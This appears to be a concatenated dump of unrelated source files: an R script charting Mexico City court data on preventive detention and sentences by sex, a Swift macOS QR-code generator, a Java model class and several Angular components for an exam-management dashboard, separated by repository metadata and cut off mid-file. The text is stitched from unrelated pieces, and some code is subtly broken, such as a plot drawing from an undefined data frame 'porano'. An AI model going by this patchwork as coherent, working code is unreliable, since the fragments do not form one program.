ggsave(paste0(out, medidas, "g_medida_sexo.png"), width = 20, height = 16)
# 7.6 Prisión preventiva por delito y por sexo ---------------------------------
# Limpieza de datos
df_medida_delito_sexo <- df_medidas_cautelares %>%
rename(sexo = sexo_vinculada) %>%
group_by(delitos_cortos, year_audiencia, medida, sexo) %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(medida, year_audiencia, sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1)) %>%
filter(medida == "Prisión preventiva",
sexo != "No especificado")
# Visualización
ggplot(df_medida_delito_sexo) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos que tuvieron prisión preventiva en la CDMX",
subtitle = "Por año, por sexo \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Delitos:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
# Guardar visualización
ggsave(paste0(out, medidas, "g_medidas_delito_sexo.png"), width = 20, height = 16)
# 7.7 Medidas cautelares por año -----------------------------------------------
# Limpieza de datos
df_year_medidas <- df_medidas_cautelares %>%
group_by(year_audiencia, medida) %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# Visualización
ggplot(df_year_medidas) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=medida), size=2.5) +
labs(title = "Medidas cautelares dictadas por el Tribunal Superior de Justicia de la CDMX",
subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Medidas cautelares:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
# Guardar visualización
ggsave(paste0(out, medidas, "g_medidas_año.png"), width = 20, height = 16)
# 8. Visualizaciones de sentencias ---------------------------------------------
# 8.1 Sentido de la sentencia por sexo -----------------------------------------
# Limpieza de datos
df_sentencia_sexo <- df_medidas_cautelares %>%
group_by(anio_ing, sentencia, sexo) %>%
filter(sexo != "No especificado") %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(anio_ing, sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# Visualización
ggplot(df_sentencia_sexo) +
geom_area(aes(x = as.integer(anio_ing), y = porcent, fill=sentencia), size=2.5) +
labs(title = "Sentido de la sentencia",
subtitle = "Por año y sexo de la persona sentenciada \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Delitos:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2019, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right")
# Guardar visualización
ggsave(paste(out, "1 sentido sexo.png", sep = "/"), width = 20, height = 16)
# 8.2 Delitos de las personas condenadas ---------------------------------------
# Limpieza de datos
df_delitos_condenadas <- df_medidas_cautelares %>%
group_by(anio_ing, sentencia, delitos_cortos, sexo) %>%
filter(sexo != "No especificado") %>%
filter(sentencia == "Condenatoria") %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(anio_ing, sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# Visualización
ggplot(df_delitos_condenadas) +
geom_area(aes(x = as.integer(anio_ing), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos de las personas condenadas",
subtitle = "Por año y sexo de la persona condenada \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Delitos:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2019, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right")
# Guardar visualización
ggsave(paste(out, "1 condena sexo.png", sep = "/"), width = 20, height = 16)
# 8.3 Personas condenadas por sexo ---------------------------------------------
# Limpieza de datos
df_condenadas_sexo <- sentenciados %>%
group_by(anio_ing, sentencia, delitos_cortos, sexo) %>%
filter(sexo != "No especificado") %>%
filter(sentencia == "Condenatoria") %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(anio_ing, delitos_cortos) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# Visualización
ggplot(porano) +
geom_area(aes(x = as.integer(anio_ing), y = porcent, fill=sexo), size=2.5) +
labs(title = "Sexo de las personas condenadas en la CDMX",
subtitle = "Por año y por delito \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Sexo de la persona condenada:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2019, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~delitos_cortos) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right")
# Guardar visualización
ggsave(paste(out, "condena sexo por año por delito.png", sep = "/"), width = 20, height = 16)
# Fin del código # | 333c0b5c43c56475c0c885b07d58817ae0cd0430 | [
"R"
] | 6 | R | RMedina19/Intersecta-PJCDMX | f717781e705fa10d7ea8648d5655ce41b4ba1587 | 6d2172962236ca748176b960fd53f4cc3d8884bc |
refs/heads/master | <repo_name>panxshaz/PSQRcodeGenerator<file_sep>/PSQRcodeGenerator/ViewController.swift
//
// ViewController.swift
// PSQRcodeGenerator
//
// Created by <NAME> on 29/03/19.
// Copyright © 2019 idevios. All rights reserved.
//
import Cocoa
class ViewController: NSViewController, NSTextFieldDelegate {
@IBOutlet weak var qrcodeTextField: NSTextField!
@IBOutlet weak var qrcodeImageView: NSImageView!
@IBOutlet weak var downloadButton: NSButton!
@IBOutlet weak var qrSaveLabel: NSTextField!
override func viewDidLoad() {
super.viewDidLoad()
qrcodeTextField.preferredMaxLayoutWidth = 350
qrcodeTextField.delegate = self
self.downloadButton.attributedTitle = NSAttributedString(string: "DOWNLOAD", attributes: [NSAttributedString.Key.foregroundColor : NSColor.blue])
}
override var representedObject: Any? {
didSet {
// Update the view, if already loaded.
}
}
func generateQRCode(from string: String) -> NSImage? {
if let filter = CIFilter(name: "CIQRCodeGenerator"), string.count > 0 {
let data = string.data(using: String.Encoding.ascii)
filter.setValue(data, forKey: "inputMessage")
let transform = CGAffineTransform(scaleX: 10, y: 10)
if let output = filter.outputImage?.transformed(by: transform) {
let context = CIContext(options: nil)
if let cgImage = context.createCGImage(output, from: output.extent) {
return NSImage(cgImage: cgImage, size: NSSize(width: 400, height: 400))
}
}
}
return nil
}
@IBAction func downloadQRcodeImage(_ sender: Any) {
guard let image = self.qrcodeImageView.image else { return }
let imageName = "\(qrcodeTextField.stringValue).png"
if let _ = saveImageToDownloads(image: image, filename: imageName) {
qrSaveLabel.stringValue = "QRcode generated for \(qrcodeTextField.stringValue)\nFile saved at ~/Downloads/\(imageName)"
qrSaveLabel.animator().isHidden = false
}
}
//Refer: http://fulmanski.pl/tutorials/apple/macos/top-main-menu/
@IBAction func saveToDownloadsClicked(_ sender: NSMenuItem) {
downloadQRcodeImage(sender)
}
@discardableResult func saveImageToDownloads(image: NSImage, filename: String) -> URL? {
let destination = FileManager.default.urls(for: FileManager.SearchPathDirectory.downloadsDirectory, in: FileManager.SearchPathDomainMask.userDomainMask).first!.appendingPathComponent(filename)
if image.pngWrite(to: destination) {
return destination
}
return nil
}
//MARK: - NSTextFieldDelegate
func controlTextDidChange(_ obj: Notification) {
print("qrcodeTextField.stringValue : \(qrcodeTextField.stringValue)")
if let image = generateQRCode(from: qrcodeTextField.stringValue) {
self.qrcodeImageView.image = image
downloadButton.isEnabled = true
} else {
self.qrcodeImageView.image = nil
downloadButton.isEnabled = false
}
qrSaveLabel.animator().isHidden = true
}
}
extension NSImage {
var pngData: Data? {
guard let tiffRepresentation = tiffRepresentation, let bitmapImage = NSBitmapImageRep(data: tiffRepresentation) else { return nil }
return bitmapImage.representation(using: .png, properties: [:])
}
func pngWrite(to url: URL, options: Data.WritingOptions = .atomic) -> Bool {
do {
try pngData?.write(to: url, options: options)
return true
} catch {
print(error)
return false
}
}
//TODO: Add feature to scan QR from static image source
// func parseQR() -> [String] {
// guard let image = CIImage(image: self) else {
// return []
// }
//
// let detector = CIDetector(ofType: CIDetectorTypeQRCode,
// context: nil,
// options: [CIDetectorAccuracy: CIDetectorAccuracyHigh])
//
// let features = detector?.features(in: image) ?? []
//
// return features.compactMap { feature in
// return (feature as? CIQRCodeFeature)?.messageString
// }
// }
}
<file_sep>/README.md
# PSQRcodeGenerator
A simple MAC App for instant QRcode generation. Supports saving the QRcode as image
Open this macOS project in Xcode and Run
| 88b3235c2b52646ced2e1e5f0cca86df1b7c0391 | [
"Swift",
"Markdown"
] | 2 | Swift | panxshaz/PSQRcodeGenerator | 9e349b4ac8e8a96d5f4f3713e93e2447f7e8971d | 7d700f1fe40b8a12cb83500ee1e7c666b85917d2 |
refs/heads/master | <file_sep>package com.example.demo;
/**
* Created by diegods on 07/03/18.
*/
public class EstabelecimentoModel {
private String nomeEstabelecimento;
private String responsavelEstabelecimento;
private String telefoneEstabelecimento;
private String ruaEstabelecimento;
private String numeroEstabelecimento;
private String bairroEstabelecimento;
public String getNomeEstabelecimento() {
return nomeEstabelecimento;
}
public void setNomeEstabelecimento(String nomeEstabelecimento) {
this.nomeEstabelecimento = nomeEstabelecimento;
}
public String getResponsavelEstabelecimento() {
return responsavelEstabelecimento;
}
public void setResponsavelEstabelecimento(String responsavelEstabelecimento) {
this.responsavelEstabelecimento = responsavelEstabelecimento;
}
public String getTelefoneEstabelecimento() {
return telefoneEstabelecimento;
}
public void setTelefoneEstabelecimento(String telefoneEstabelecimento) {
this.telefoneEstabelecimento = telefoneEstabelecimento;
}
public String getRuaEstabelecimento() {
return ruaEstabelecimento;
}
public void setRuaEstabelecimento(String ruaEstabelecimento) {
this.ruaEstabelecimento = ruaEstabelecimento;
}
public String getNumeroEstabelecimento() {
return numeroEstabelecimento;
}
public void setNumeroEstabelecimento(String numeroEstabelecimento) {
this.numeroEstabelecimento = numeroEstabelecimento;
}
public String getBairroEstabelecimento() {
return bairroEstabelecimento;
}
public void setBairroEstabelecimento(String bairroEstabelecimento) {
this.bairroEstabelecimento = bairroEstabelecimento;
}
}
| 8bf23255cda25950ac8f74e4a6f7aaabba1c5ec7 | [
"Java"
] | 1 | Java | duque-diego/springboot-gae | 4eaec11d5bf62ed231802f573ed83fbba7fa8ae7 | f198bb2188c3e5baea93bc5bf3267cd572cf4776 |
refs/heads/master | <repo_name>BrettFyfe/hello-world<file_sep>/README.md
# hello-world
first repository
Its ya boi brett here. made this repository in computer software development class in lewis and clark.
##CHANGELOG
added hello world - 10/26/17
added helloworld.png - 10/31/17
<file_sep>/helloworld.py.save
#!/usr/bin/env python3
# Helloworld.py
# <NAME>
# 10/31/17
| 972bb4e0fcb317c9752a123f874e7efa7410cfb1 | [
"Markdown",
"Python"
] | 2 | Markdown | BrettFyfe/hello-world | c71244dede96f52fb07b3061f6fe4ed9866ac5e0 | 99719f5d8727878b07e6016288883807987e71f9 |
refs/heads/master | <repo_name>kendsr/cs50-finance<file_sep>/requirements.txt
appdirs==1.4.3
bcrypt==3.1.3
cffi==1.10.0
click==6.7
cs50==1.3.0
Flask==2.3.2
Flask-Session==0.3.1
itsdangerous==0.24
Jinja2==2.11.3
MarkupSafe==1.0
packaging==16.8
passlib==1.7.1
pycparser==2.17
pyparsing==2.2.0
six==1.10.0
SQLAlchemy==1.1.9
Werkzeug==2.2.3
<file_sep>/application.py
from cs50 import SQL
from flask import Flask, flash, redirect, render_template, request, session, url_for, jsonify
from flask_session import Session
from passlib.apps import custom_app_context as pwd_context
from tempfile import mkdtemp
import sys
from helpers import *
# configure application
app = Flask(__name__)
app.config['SECRET_KEY']='<PASSWORD>'
# ensure responses aren't cached
if app.config["DEBUG"]:
@app.after_request
def after_request(response):
response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
response.headers["Expires"] = 0
response.headers["Pragma"] = "no-cache"
return response
# custom filter
app.jinja_env.filters["usd"] = usd
# configure session to use filesystem (instead of signed cookies)
app.config["SESSION_FILE_DIR"] = mkdtemp()
app.config["SESSION_PERMANENT"] = False
app.config["SESSION_TYPE"] = "filesystem"
Session(app)
# configure CS50 Library to use SQLite database
# path is to the database in c:\users\kendsr\desktop\working\cs50\cs50-finance\finance.db
db = SQL("sqlite:///cs50-finance//finance.db")
@app.route("/")
@login_required
def index():
# Get current cash ballance fro current user
cash = db.execute("select cash from users where id = :id", id=session["user_id"])
cashBal = cash[0]['cash']
portTotal = cash[0]['cash']
# Get stock portfolio for user and display with totals
data=[]
portfolio = db.execute('select * from portfolio where owner_id = :owner_id order by symbol', owner_id=session['user_id'])
for record in portfolio:
share = lookup(record['symbol'])
symbol = share['symbol']
name = share['name']
shares = record['shares']
price = share['price']
shareTotal = shares * price
portTotal += shareTotal
price = usd(price)
total = usd(shareTotal)
# List Data values
lst=[symbol, name, shares, price, total]
# List Key names
keys=['Symbol','Name','Shares','Price','Total']
# Build list of dictionaries
data.append(dict(zip(keys, lst)))
cashBal = usd(cashBal)
total = usd(portTotal)
return render_template('index.html', cashBal=cashBal, total=total, data=data)
@app.route("/buy", methods=["GET", "POST"])
@login_required
def buy():
"""Buy shares of stock."""
if request.method == 'GET':
# User provides stock sybol and # of shares tp purchase
return render_template("buy.html")
if request.method == "POST":
current_user = int(session["user_id"])
# Validate user input
if not request.form['symbol'] or not request.form['shares'] or int(request.form['shares']) < 0:
flash("You must povide a stock symbol and/or number of shares as a positive integer) to purchase")
return redirect(url_for("index"))
# Get current cash balance for user
cash = db.execute("SELECT cash FROM users WHERE id = :id", id=current_user)
# Lookup stock symbol to get current price per share
stock = lookup(request.form['symbol'])
if stock:
numShares = int(request.form['shares'])
# Compute total purchase price
purchase = numShares * stock['price']
# Verify there is enough cash in account to fund transaction
if purchase > cash[0]['cash']:
flash("You do not have enough cash to fund this transction." + usd(purchase) + " is needed. Current balance is " + usd(cash[0]['cash']))
return redirect(url_for("index"))
else:
# Calculate new available cash balance
cashBal = cash[0]['cash'] - purchase
# Add transaction to trans table
db.execute("insert into trans (tran_type, owner_id, symbol, shares, price) \
values(:tran_type, :owner_id, :symbol, :shares, :price)", \
tran_type='buy', owner_id=current_user, symbol=stock['symbol'], shares=numShares, price=purchase)
# Update user cash account balance
db.execute("update users set cash = :cashBal where id = :id", cashBal=cashBal, id=current_user)
# Add/update user stock portfolio
# If user has stock in portfolio update the shares owned
current_shares = db.execute("select id, shares from portfolio where owner_id = :id and symbol = :symbol", \
id=current_user, symbol=stock['symbol'])
if current_shares:
# Update stock portfolio share count
newShares = current_shares[0]['shares'] + numShares
db.execute("update portfolio set shares = :newShares where id = :id", newShares=newShares, id=current_shares[0]['id'])
else:
# Add the stock to the portfolio
db.execute("insert into portfolio (owner_id, symbol, shares) values(:owner_id, :symbol, :shares)", owner_id=current_user, symbol=stock['symbol'], shares=numShares)
else:
flash("Stock Symbol not found")
return render_template('apology.html')
flash(str(numShares) + " shares of " + stock['symbol'] + " for a total cost of " + usd(purchase) \
+ " at " + usd(stock['price']) + " per share. Your current cash balance is " + usd(cashBal))
return redirect(url_for("index"))
@app.route("/history")
@login_required
def history():
"""Show history of transactions."""
data = []
log = db.execute('select * from trans where owner_id = :owner_id', owner_id=session['user_id'])
for row in log:
tran = row['tran_type']
symbol = row['symbol']
price = usd(row['price'])
shares = row['shares']
date = row['date']
# List Data values
lst=[tran, symbol, price, shares, date]
# List Key names
keys=['Transaction', 'Symbol', 'Price', 'Shares', 'Date']
# Build list of dictionaries
data.append(dict(zip(keys, lst)))
return render_template('history.html', data=data)
@app.route("/login", methods=["GET", "POST"])
def login():
"""Log user in."""
# forget any user_id
session.clear()
# if user reached route via POST (as by submitting a form via POST)
if request.method == "POST":
# ensure username was submitted
if not request.form.get("username"):
flash("Username not provided")
return render_template("apology.html")
# return apology("must provide username")
# ensure password was submitted
elif not request.form.get("password"):
flash("Password not provided")
return render_template("apology.html")
# return apology("must provide password")
# query database for username
rows = db.execute("SELECT * FROM users WHERE username = :username", username=request.form.get("username"))
# ensure username exists and password is correct
if len(rows) != 1 or not pwd_context.verify(request.form.get("password"), rows[0]["hash"]):
return apology("invalid username and/or password")
# remember which user has logged in
session["user_id"] = rows[0]["id"]
# redirect user to home page
flash("Welcome " + rows[0]["username"] + ". you have been logged in")
return redirect(url_for("index"))
# else if user reached route via GET (as by clicking a link or via redirect)
else:
return render_template("login.html")
@app.route("/logout")
def logout():
"""Log user out."""
# forget any user_id
session.clear()
# redirect user to index form
flash("You have been logged out. -- Log back in to continue")
return redirect(url_for("index"))
@app.route("/quote", methods=["GET", "POST"])
@login_required
def quote():
"""Get stock quote."""
if request.method == "GET":
return render_template("quote.html")
if request.method == "POST":
# Validate User input
if request.form.get("symbol") == "" or request.form.get("symbol").startswith("^") or "," in request.form.get("symbol"):
return apology("Stock Symbol can't be empty, start with ^ or contain comma")
# lookup stock symbol
data = lookup(request.form.get("symbol"))
if not data:
flash(request.form.get("symbol") + " not found")
return render_template("apology.html")
# show quote
return render_template("quoted.html", data=data)
else:
return apology("Method not supported")
@app.route("/register", methods=["GET", "POST"])
def register():
"""Register user."""
if request.method == "POST":
# Validate user input
if request.form.get("username") == "" or request.form.get("password") == "":
return apology("Username and/or Password must be provided")
if request.form.get("confirm") == "":
return apology("Please confirm the Passowrd entered")
if request.form.get("password") != request.form.get("confirm"):
return apology("Confirmed Password not the same as Password entered")
# check for user already exists
rows = db.execute("select 1 from users where username=:username", \
username=request.form.get("username"))
if len(rows) != 0:
return apology("Username already in use. Please choose another.")
# Encrypt password
hash = pwd_context.hash(request.form.get("password"))
# Insert user into table
rows = db.execute("insert into users (username, hash) values(:username, :hash)", \
username=request.form.get("username"), hash=hash)
# Log user in
session["user_id"] = rows
flash("Welcome " + request.form.get("username") + ". You have been registered")
return redirect(url_for("index"))
else:
return render_template("register.html")
@app.route("/sell", methods=["GET", "POST"])
@login_required
def sell():
"""Sell shares of stock."""
if request.method == "GET":
return render_template("sell.html")
if request.method == "POST":
if not request.form['symbol']:
flash("Stock Symbol must be provided")
return redirect(url_for("index"))
# Get current cash balance for user
cash = db.execute('select cash from users where id=:id', id=session['user_id'])
cashBal = cash[0]['cash']
# Get Stock to be sold from user portfolio
portfolio = db.execute('select * from portfolio where owner_id = :owner_id and symbol = :symbol', \
owner_id=session['user_id'], symbol=request.form['symbol'].upper())
if not portfolio:
flash(request.form['symbol'] + " is not in portfolio for this user")
return redirect(url_for("index"))
# lookup symbol to get current market price
data = lookup(request.form['symbol'])
# Calculate sale price
market_price = data['price']
shares = portfolio[0]['shares']
proceeds = shares * market_price
# Remove stock from portfolio
db.execute('delete from portfolio where id = :id', id=portfolio[0]['id'])
# Record sell transactio in log table
db.execute("insert into trans (tran_type, owner_id, symbol, shares, price) \
values(:tran_type, :owner_id, :symbol, :shares, :price)", \
tran_type='sell', owner_id=session['user_id'], symbol=data['symbol'], shares=shares, price=proceeds)
cashBal += proceeds
# Update user cash adding in sale proceeds
db.execute('update users set cash=:cashBal where id=:id', cashBal=cashBal, id=session['user_id'])
flash(str(shares) + " of " + data['symbol'] + " were sold at " + usd(market_price) + " per share. Total proceeds of sale is "+ usd(proceeds))
return redirect(url_for("index"))
if __name__=='__main__':
# app.run(host='0.0.0.0') # allow remote access
app.run(debug=True)<file_sep>/README.md
# cs50-finance
cs50 Stock Management project
This is the cs50 Stock Management project - using Python/Flask.
| 9cc1fe4c499e721fd2e74682ae8c30051af3b44f | [
"Markdown",
"Python",
"Text"
] | 3 | Text | kendsr/cs50-finance | fffaf515c7705eec4dbc39167fbdc30ce078a27c | fecf270eac96323ea421ab5b5efaa92856811ba6 |
refs/heads/master | <file_sep>import { Injectable } from '@angular/core';
import { Router, CanActivate, ActivatedRouteSnapshot, CanActivateChild } from '@angular/router';
import { AuthService } from './auth.service';
@Injectable({
providedIn: 'root'
})
export class RouteguardService implements CanActivate, CanActivateChild {
constructor(public auth: AuthService, public router: Router) { }
canActivate(route: ActivatedRouteSnapshot): boolean {
if (this.auth.getUser() == '') {
console.log('dashboard');
this.router.navigate(['login']);
return false;
}
return true;
}
canActivateChild(route: ActivatedRouteSnapshot): boolean {
if (this.auth.getUser() == '') {
console.log('Hahaha');
this.router.navigate(['login']);
return false;
}
return true;
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router } from "@angular/router";
import { ApiService } from 'src/services/api.service';
import { AuthService } from 'src/services/auth.service';
@Component({
selector: 'app-addstudent',
templateUrl: './addstudent.component.html',
styleUrls: ['./addstudent.component.css']
})
export class AddstudentComponent implements OnInit {
name: string;
email: string;
CNIC: string;
regNo: string;
password: string;
gender: string;
phone: number;
dob: string;
constructor(private router: Router, private apiService: ApiService, private auth: AuthService) { }
ngOnInit() {
}
addStudent() {
if (this.name !== '' && this.email !== '' && this.CNIC !== '' && this.regNo != null && this.password !== ''
&& this.gender !== '' && this.phone != null && this.dob !== '') {
this.auth.signup(this.email, this.password)
.then(
() => {
const s = {
name: this.name,
email: this.email,
cnic: this.CNIC,
regNo: this.regNo,
password: <PASSWORD>,
gender: this.gender,
phone: this.phone,
dob: this.dob
};
this.apiService.addStudent(s)
.then(
() => {
this.name = '';
this.email = '';
this.CNIC = null;
this.regNo = null;
this.password = '';
this.gender = '';
this.phone = null;
this.dob = '';
}
);
}
);
}
}
goBack() {
this.router.navigate(['dasboard/student']);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router, ActivatedRoute } from '@angular/router';
import { ApiService } from 'src/services/api.service';
import { ToastrService } from 'ngx-toastr';
@Component({
selector: 'app-mcqbulkaddition',
templateUrl: './mcqbulkaddition.component.html',
styleUrls: ['./mcqbulkaddition.component.css']
})
export class McqbulkadditionComponent implements OnInit {
categoryId: string;
categoryName: string;
examName: string;
examId: string;
subjectName: string;
subjectId: string;
chapterName: string;
chapterId: string;
mockName: string;
mockId: string;
mockExamName: string;
mockExamId: string;
chapters: any;
chapter: any;
options = new Array();
options1: string;
options2: string;
options3: string;
options4: string;
solution: string;
question: string;
explanation: string;
marks: number;
mock: any;
constructor(private router: Router, private activatedRoute: ActivatedRoute, private apiService: ApiService,
private toaster: ToastrService) {
this.activatedRoute.params.subscribe(resp => {
this.apiService.getMockExam(JSON.parse(resp.mId))
.subscribe(re => {
this.mock = re;
this.mockName = this.mock.mockName;
this.mockId = this.mock.mockId;
this.mockExamName = this.mock.mockExamName;
this.mockExamId = JSON.parse(resp.mId);
});
this.apiService.getChapter(JSON.parse(resp.cId))
.subscribe(r => {
this.chapter = r;
this.categoryId = this.chapter.categoryId;
this.categoryName = this.chapter.categoryName;
this.examId = this.chapter.examId;
this.examName = this.chapter.examName;
this.subjectId = this.chapter.subjectId;
this.subjectName = this.chapter.subjectName;
this.chapterId = resp.cId;
this.chapterName = this.chapter.chapterName;
});
});
}
addMcq() {
if (this.chapterName != '' && this.solution != '' &&
this.options1 != null && this.options2 != null && this.options3 != null && this.options4 != null) {
this.options.push(this.options1);
this.options.push(this.options2);
this.options.push(this.options3);
this.options.push(this.options4);
const c = {
categoryName: this.categoryName,
categoryId: this.categoryId,
examName: this.examName,
examId: this.examId,
subjectName: this.subjectName,
subjectId: this.subjectId,
chapterName: this.chapterName,
chapterId: this.chapterId,
mockName: this.mockName,
mockId: this.mockId,
mockExamName: this.mockExamName,
mockExamId: this.mockExamId,
solution: this.solution,
question: this.question,
options: this.options,
explanation: this.explanation,
marks: this.marks
};
this.apiService.addMcqs(c).then(
() => {
this.toaster.success('Mcq added successfuly..');
this.solution = '';
this.question = '';
this.options1 = '';
this.options2 = '';
this.options3 = '';
this.options4 = '';
this.explanation = '';
this.marks = null;
this.options.pop();
this.options.pop();
this.options.pop();
this.options.pop();
}
);
} else {
this.toaster.error('Form is invalid...');
console.log('Form is invalid...');
}
}
ngOnInit() {
}
goBack() {
this.router.navigate(['/bulkmcq']);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { map } from 'rxjs/operators';
import { Observable } from 'rxjs';
import { ApiService } from 'src/services/api.service';
import { Router } from '@angular/router';
import { ToastrService } from 'ngx-toastr';
import { HelperService } from 'src/services/helper.service';
import swal from 'sweetalert2';
@Component({
selector: 'app-chapters',
templateUrl: './chapters.component.html',
styleUrls: ['./chapters.component.css']
})
export class ChaptersComponent implements OnInit {
chapterName: string;
chapterId: string;
subjectName: string;
subjectId: string;
categoryName: string;
categoryId: string;
editMode: boolean;
length: number;
chapters: any;
subjects;
subject: any;
sub: any;
chapter: any;
chapterArray = new Array();
examName: string;
examId: string;
searchText: string = '';
subjectN: string;
constructor(private apiService: ApiService, private router: Router, private toastr: ToastrService, private helper: HelperService) { }
filterCondition(chapter) {
return chapter.chapterName.toLowerCase().indexOf(this.searchText.toLowerCase()) != -1;
}
onChange(id) {
this.sub = this.subjects.filter(data => data.id === id);
this.subjectName = this.sub[0].subjectName;
this.subjectId = id;
this.examName = this.sub[0].examName;
this.examId = this.sub[0].examId;
this.categoryName = this.sub[0].categoryName;
this.categoryId = this.sub[0].categoryId;
console.log(this.sub);
}
addChapter() {
if (this.chapterName != '' && this.subjectName != '' && this.subjectId != '') {
if (!this.editMode) {
this.chapterArray = this.sub[0].chapters;
this.chapterArray.push(this.chapterName);
const c = {
chapterName: this.chapterName,
categoryName: this.categoryName,
categoryId: this.categoryId,
subjectName: this.subjectName,
subjectId: this.subjectId,
examName: this.examName,
examId: this.examId,
};
this.apiService.addChapter(c).then(
() => {
this.toastr.success('Successfully added the chapter.');
const sub = {
subjectName: this.sub[0].subjectName,
categoryName: this.categoryName,
categoryId: this.categoryId,
chapters: this.chapterArray,
examName: this.examName,
examId: this.examId
};
this.apiService.updateSubject(this.subjectId, sub).then(
() => console.log('Subject Updated With New Chapter')
);
this.chapterName = '';
this.subjectName = '';
}
);
} else {
const c = {
chapterName: this.chapterName,
categoryName: this.categoryName,
categoryId: this.categoryId,
subjectName: this.subjectName,
subjectId: this.subjectId,
examName: this.examName,
examId: this.examId,
};
this.apiService.updateChapter(this.chapterId, c).then(
() => {
this.toastr.success('Successfully updated the chapter.');
this.chapterName = '';
this.subjectName = '';
this.editMode = false;
}
);
}
} else {
console.log('Form is invalid..');
}
}
updateChapter(chapter) {
this.editMode = true;
this.chapterId = chapter.id;
this.chapterName = chapter.chapterName;
this.subjectName = chapter.subjectName;
}
getChapter(id) {
this.apiService.getChapter(id).subscribe(resp => this.chapter = resp);
}
deleteChapter(id) {
this.helper.confrimMessage('Are you sure?', 'You will not be able to recover', 'warning', 'ok', 'cancel')
.then(
result => {
if (result.value) {
this.apiService.deleteChapter(id)
.then(
() => {
this.toastr.error('Successfully deleted the chapter.');
}
).then(
() => {
this.toastr.error('Successfully deleted the category');
}
);
} else if (result.dismiss === swal.DismissReason.cancel) {
console.log('Failure');
}
}
);
}
ngOnInit() {
this.editMode = false;
this.chapters = this.apiService.getChapters().pipe(map(
list => {
this.length = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
));
this.apiService.getSubjects().pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(res => {
this.subjects = res;
this.subject = this.subjects[0].id;
});
}
goBack() {
this.router.navigateByUrl('/examination');
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { ApiService } from 'src/services/api.service';
import { map } from 'rxjs/operators';
import { Router } from '@angular/router';
import { NgxSpinnerService } from 'ngx-spinner';
@Component({
selector: 'app-selectmcqmock',
templateUrl: './selectmcqmock.component.html',
styleUrls: ['./selectmcqmock.component.css']
})
export class SelectmcqmockComponent implements OnInit {
mockExams: any;
mockId: string;
constructor(private router: Router, private apiService: ApiService, private spinner: NgxSpinnerService) { }
onChange(id) {
this.mockId = id;
}
selectMock() {
if (this.mockId != '') {
this.router.navigate(['dashboard/mcqs/' + this.mockId]);
}
}
goBack() {
this.router.navigate(['dashboard/examination']);
}
ngOnInit() {
this.spinner.show();
this.apiService.getMocksExam().pipe(map(
list => {
return list.map(
item => {
const data = item.payload.doc.data();
const id = item.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(resp => {
this.mockExams = resp;
this.spinner.hide();
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Time } from '@angular/common';
@Component({
selector: 'app-transactions',
templateUrl: './transactions.component.html',
styleUrls: ['./transactions.component.css']
})
export class TransactionsComponent implements OnInit {
chapterName :string;
status: string;
date: Date;
Timestamp : Time;
Amount: any;
studentName: string;
constructor() { }
ngOnInit() {
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { map } from 'rxjs/operators';
import { Router, ActivatedRoute } from '@angular/router';
